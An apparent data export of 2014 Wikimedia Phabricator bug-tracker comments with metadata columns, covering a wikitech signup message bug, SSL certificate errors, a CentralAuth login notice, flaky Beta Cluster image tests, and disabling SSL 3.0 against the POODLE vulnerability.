+329565,Wikitech signup page displays <loginstart> and <loginend>,"(Not being a sysop, just curious: Does this mean that ""{{int:loginstart}}"" should be removed from [[wikitech:MediaWiki:Signupstart]], or that [[wikitech:MediaWiki:Loginstart]] needs to be created?)",,,1415455890,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-ovsa4swrphzdhhychn3j,task_subcomment,,True,c3,1,True,,,-34,True,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1
+329561,Wikitech signup page displays <loginstart> and <loginend>,"(In reply to Dereckson from comment #2)
+> Could you contact a sysop from this list about this issue? 
+> https://wikitech.wikimedia.org/w/index.
+> php?title=Special%3AListUsers&username=&group=sysop&editsOnly=1&limit=50
+
+A number of them got automatically CC'd onto this bug, so I wonder if one of them could take a moment to fix this?",,,1415436725,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-ovsa4swrphzdhhychn3j,task_subcomment,,True,c3,1,True,,,-34,True,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,0,1,1,0,0,0,1
+329556,Wikitech signup page displays <loginstart> and <loginend>,Could you contact a sysop from this list about this issue?  https://wikitech.wikimedia.org/w/index.php?title=Special%3AListUsers&username=&group=sysop&editsOnly=1&limit=50,,,1415410102,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-ovsa4swrphzdhhychn3j,task_subcomment,,True,c3,1,False,,,-34,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,0,0,0
+329548,Wikitech signup page displays <loginstart> and <loginend>,"This is a problem directly solvable on the wiki.
+
+The system messages concerned is signupstart. And indeed [[wikitech:MediaWiki:Signupstart]] start with {{int:loginstart}}.
+
+When through ULS I switched from qqx back to en, I got a regular English message. So yes, it's well an issue with the local message.",,,1415409906,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-ovsa4swrphzdhhychn3j,task_subcomment,,True,c3,1,False,,,-34,True,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+74805,datasets.wikimedia.org SSL error,"https://datasets.wikimedia.org/public-datasets gives a 404 (meaning that people on SSL can't access any data available at this URL). See https://twitter.com/wrought/status/528059346995802112
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1414734660,1418819829.0,PHID-USER-qb5aoo443n6fezsozhv4,False,PHID-USER-pntojlcbclwhuip53bix,False,PHID-TASK-kpahzxvfx64ji7koc3wu,task_description,resolved,True,c3,1,False,False,True,-35,True,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+343341,datasets.wikimedia.org SSL error,"ottomata moved stat1001 behind misc-web.
+
+Now SSL is handled before the request gets to stat1001, and the issue is gone.",,,1418819829,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-kpahzxvfx64ji7koc3wu,task_subcomment,,True,c3,1,True,,,-29,True,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+327493,datasets.wikimedia.org SSL error,"Deprioritizing, as this did not break ... it never worked.
+
+The corresponding RT ticket from 2014-08-05 is RT 8085.
+
+It has also been reported on the analytics mailing list in 2014-09-30 at:
+
+  https://lists.wikimedia.org/pipermail/analytics/2014-September/002526.html
+
+.",,,1415023357,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-kpahzxvfx64ji7koc3wu,task_subcomment,,True,c3,1,True,,,-35,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+327486,datasets.wikimedia.org SSL error,"I first get
+""datasets.wikimedia.org uses an invalid security certificate. The certificate is only valid for stats.wikimedia.org (Error code: ssl_error_bad_cert_domain)"" in Firefox 33 and then a 404.",,,1414995835,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-kpahzxvfx64ji7koc3wu,task_subcomment,,True,c3,1,True,,,-35,True,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+74174,"action=help shows a ""Central login"" message on every page when extension CentralAuth is used","Every page of action=help (e.g. https://www.mediawiki.org/w/api.php) makes calls to lots of Special:CentralAuthLogin on different wikis, and shows a message:
+
+Central login
+You are centrally logged in as <User>. Reload the page to apply your user settings.
+
+And if you reload the page or load any other action=help page, just the same happens.
+
+This is probably due to the fact that action=help treats you as logged-out, while CentralAuth has cookies to detect you should be logged in.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://www.mediawiki.org/w/api.php",Medium,50.0,1413532380,1414425280.0,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,False,PHID-TASK-clwgsyzylbfaofhdvsqz,task_description,resolved,True,c3,1,False,False,True,-37,True,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+322792,"action=help shows a ""Central login"" message on every page when extension CentralAuth is used","(In reply to Helder from comment #3)
+> I keep getting the message ""Central login
+> You are centrally logged in as (...). Reload the page to apply your user
+> settings.""
+> on the new format of this page:
+> https://en.wikipedia.org/w/api.
+> php?action=query&meta=siteinfo&siprop=statistics
+
+The merged change that should fix this will go out with 1.25wmf5, see https://www.mediawiki.org/wiki/MediaWiki_1.25/Roadmap for the schedule.",,,1414425280,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-clwgsyzylbfaofhdvsqz,task_subcomment,,True,c3,1,True,,,-36,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,1
+322784,"action=help shows a ""Central login"" message on every page when extension CentralAuth is used","I keep getting the message ""Central login
+You are centrally logged in as (...). Reload the page to apply your user settings.""
+on the new format of this page:
+https://en.wikipedia.org/w/api.php?action=query&meta=siteinfo&siprop=statistics",,,1414270347,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-clwgsyzylbfaofhdvsqz,task_subcomment,,True,c3,1,False,,,-36,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,1,0,0,0,1,0,0,0
+322776,"action=help shows a ""Central login"" message on every page when extension CentralAuth is used","**gerritadmin** wrote:
+
+Change 167247 merged by jenkins-bot:
+API: Clean up skin handling
+
+https://gerrit.wikimedia.org/r/167247",,,1413657175,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-clwgsyzylbfaofhdvsqz,task_subcomment,,True,c3,1,False,,,-37,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+322766,"action=help shows a ""Central login"" message on every page when extension CentralAuth is used","**gerritadmin** wrote:
+
+Change 167247 had a related patch set uploaded by Anomie:
+API: Clean up skin handling
+
+https://gerrit.wikimedia.org/r/167247",,,1413571670,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-clwgsyzylbfaofhdvsqz,task_subcomment,,True,c3,1,False,,,-37,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+74162,"(possibly spurious) ""Could not load image data http"" errors on Beta Cluster","It is hard to tell if this is an actual bug or an artifact of the beta cluster test environment, but in recently time the browser tests for MMV in Chrome have been encountering sporadic errors on well-known test images ""Error: Could not load image data. http""
+
+Examples: 
+
+16 October: https://integration.wikimedia.org/ci/job/browsertests-MultimediaViewer-en.wikipedia.beta.wmflabs.org-linux-chrome-sauce/229/testReport/junit/(root)/Navigation/Browsing_back_to_close_MMV_restores_the_scroll_position/
+
+6 October: https://integration.wikimedia.org/ci/view/BrowserTests/view/-All/job/browsertests-MultimediaViewer-en.wikipedia.beta.wmflabs.org-linux-chrome-sauce/208/
+
+5 October: https://integration.wikimedia.org/ci/view/BrowserTests/view/-All/job/browsertests-MultimediaViewer-en.wikipedia.beta.wmflabs.org-linux-chrome-sauce/206/testReport/junit/(root)/Basic%20Multimedia%20Viewer%20navigation/Multimedia_Viewer__MMV_/",Medium,50.0,1413502260,1446480306.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,PHID-USER-fz7hkyvt4jypl76ieyol,False,PHID-TASK-qyrrnny7y3utypq3c3gm,task_description,invalid,True,c3,1,False,False,False,-37,True,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,0
+556444,"(possibly spurious) ""Could not load image data http"" errors on Beta Cluster",I do not remember seeing this problem in a long time. Please reopen if this is still a problem.,,,1446480306,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-qyrrnny7y3utypq3c3gm,task_subcomment,,True,c3,3,True,,,17,True,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+531570,"(possibly spurious) ""Could not load image data http"" errors on Beta Cluster","Mass-removing the Multimedia tag from MediaViewer tasks, as this is now being worked on by the Reading department, not Editing's Multimedia team.",,,1442850163,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qyrrnny7y3utypq3c3gm,task_subcomment,,True,c3,3,True,,,11,True,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+340708,"(possibly spurious) ""Could not load image data http"" errors on Beta Cluster",Lowering priority as we do not plan to work on this anytime soon.,,,1418258751,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-qyrrnny7y3utypq3c3gm,task_subcomment,,True,c3,1,True,,,-29,True,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+336173,"(possibly spurious) ""Could not load image data http"" errors on Beta Cluster","I see these every now and then on beta, even with normal browsing behavior (no aborted requests). I think beta is just aborting requests (maybe request involving storing a thumbnail locally?) from time to time.
+
+At any rate, that error message could be improved.",,,1417663877,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-qyrrnny7y3utypq3c3gm,task_subcomment,,True,c3,1,True,,,-30,True,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,0,1,0,0,0
+335875,"(possibly spurious) ""Could not load image data http"" errors on Beta Cluster","Today I ran into a similar message while I was working locally, that happened because I navigated away from the page as it was loading an image. It might be what's happening here and the fact that this error is displayed at all in situations where an XHR is aborted by the browser is undesirable. Glancing at media viewer's code where that error comes from, I think we could narrow it down a little to understand what's happening in the browser tests.",,,1417620541,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-qyrrnny7y3utypq3c3gm,task_subcomment,,True,c3,1,True,,,-31,True,1,0,0,1,0,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,1,0,0,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+322124,"(possibly spurious) ""Could not load image data http"" errors on Beta Cluster","Might be, but there are occurrences of ""Could not load image data http"" that are older than Oct 17th.",,,1415864052,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-qyrrnny7y3utypq3c3gm,task_subcomment,,True,c3,1,True,,,-33,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0
+322122,"(possibly spurious) ""Could not load image data http"" errors on Beta Cluster","Last successful puppet run on all the cache instances on betalabs was on:
+
+The last Puppet run was at Fri Oct 17 10:07:24 UTC 2014 (37931 minutes ago).
+
+So this *might* be related?
+
+See bug 73263 for info on the puppet issue.",,,1415817079,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-qyrrnny7y3utypq3c3gm,task_subcomment,,True,c3,1,True,,,-34,True,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+322117,"(possibly spurious) ""Could not load image data http"" errors on Beta Cluster","It's actually gotten a lot worse now that I've split the large scenarios into smaller ones following Dan's advice. Just because there are statistically more chances of running into the problem, I guess.",,,1414426553,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-qyrrnny7y3utypq3c3gm,task_subcomment,,True,c3,1,True,,,-36,True,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+322110,"(possibly spurious) ""Could not load image data http"" errors on Beta Cluster","Yes, there are a few test failures with this error message every day.",,,1414418331,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-qyrrnny7y3utypq3c3gm,task_subcomment,,True,c3,1,True,,,-36,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+322104,"(possibly spurious) ""Could not load image data http"" errors on Beta Cluster",Anybody knows if this has happened again in the last 10 days?,,,1414416078,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-qyrrnny7y3utypq3c3gm,task_subcomment,,True,c3,1,True,,,-36,True,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0
+322097,"(possibly spurious) ""Could not load image data http"" errors on Beta Cluster","Probably a HTTP 500 on the imageinfo API call. The last test run was Oct 17, 2014 7:29:05 AM. The Apache log for deployment-mediawiki03 doesn't contain anything for that date; no clue if that's the right place to look, though.",,,1413568159,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-qyrrnny7y3utypq3c3gm,task_subcomment,,True,c3,1,True,,,-37,True,0,1,0,0,1,1,0,0,1,1,0,1,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+322091,"(possibly spurious) ""Could not load image data http"" errors on Beta Cluster","17 October: https://integration.wikimedia.org/ci/job/browsertests-MultimediaViewer-en.wikipedia.beta.wmflabs.org-linux-chrome-sauce/230/testReport/junit/(root)/Download%20menu/Attribution_area_can_be_closed/
+
+Adding Ori because HHVM",,,1413564353,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-qyrrnny7y3utypq3c3gm,task_subcomment,,True,c3,1,False,,,-37,True,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0
+322084,"(possibly spurious) ""Could not load image data http"" errors on Beta Cluster",I suspect this is still beta being unreliable because of HHVM hiccups. We've had sporadic errors like that ever since HHVM was rolled out on beta.,,,1413533101,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-qyrrnny7y3utypq3c3gm,task_subcomment,,True,c3,1,True,,,-37,True,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+74072,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),"This POODLE bites: exploiting the SSL 3.0 fallback:  http://googleonlinesecurity.blogspot.co.uk/2014/10/this-poodle-bites-exploiting-ssl-30.html
+https://www.openssl.org/~bodo/ssl-poodle.pdf
+
+The only workaround now is to disable SSL 3.0, but this will make IE6 users unable to access over HTTPS. If supporting IE6 is needed, how about we disable it for now and re-enable SSL 3.0 after TLS_FALLBACK_SCSV is available?
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Medium,50.0,1413358680,1422952876.0,PHID-USER-arjqb24x4oae7awzpfp6,False,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_description,resolved,True,c3,1,True,False,True,-38,True,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1
+406035,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),"radium is the Tor relay, not an HTTP server. It was due for a tor version upgrade anyway though, so I did this today.",,,1422952876,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-22,True,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+406011,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),So is radium needed to fix as well?,,,1422946654,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-22,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0
+405958,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),i fixed the SSL settings on wikitech-static. SSLv3 is disabled and i used the same cipher settings as on regular wikitech. feel free to re-scan now,,,1422929821,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-22,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+405946,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),"wikitech-static is still in use, but totally separate from puppet, running on a rackspace instance.  radium is the tor-relay. ",,,1422927642,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-22,True,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+405918,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),"wikitech-static is a backup of wikitech in case the cluster breaks and wikitech becomes inaccessible, IIRC. Don't know about radium.",,,1422922056,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-22,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+405903,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),Are radium and wikitech-static still in use? Is it needed to disable SSL3 on these two servers?,,,1422920277,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-22,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+405781,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),">>! In T74072#1008913, @yuvipanda wrote:
+>  what exactly is ms1001.wikimedia.org anyway?
+
+ms 	deprecated - media storage [1]
+
+ms1001 is a nfs server of dumps and other datasets (dataset::nfs)
+ms1001 is a rsyncer to internal peers of dumps (dataset::rsync::peers)
+ms1001 is a rsyncer to the public of dumps (dataset::rsync::public)
+ms1001 is a dumps.wikimedia.org (dumps)
+
+
+[1] https://wikitech.wikimedia.org/wiki/Infrastructure_naming_conventions
+",,,1422909935,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-22,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,0,1
+405715,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),dumps.wikimedia.org reports an A now. what exactly is ms1001.wikimedia.org anyway? its ssl certificate calls it dumps.wikimedia.org,,,1422903594,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-22,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,1,1,0,0,0,0,0
+405658,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),"Change 188015 merged by Yuvipanda:
+dumps: Strengthen ssl settings
+
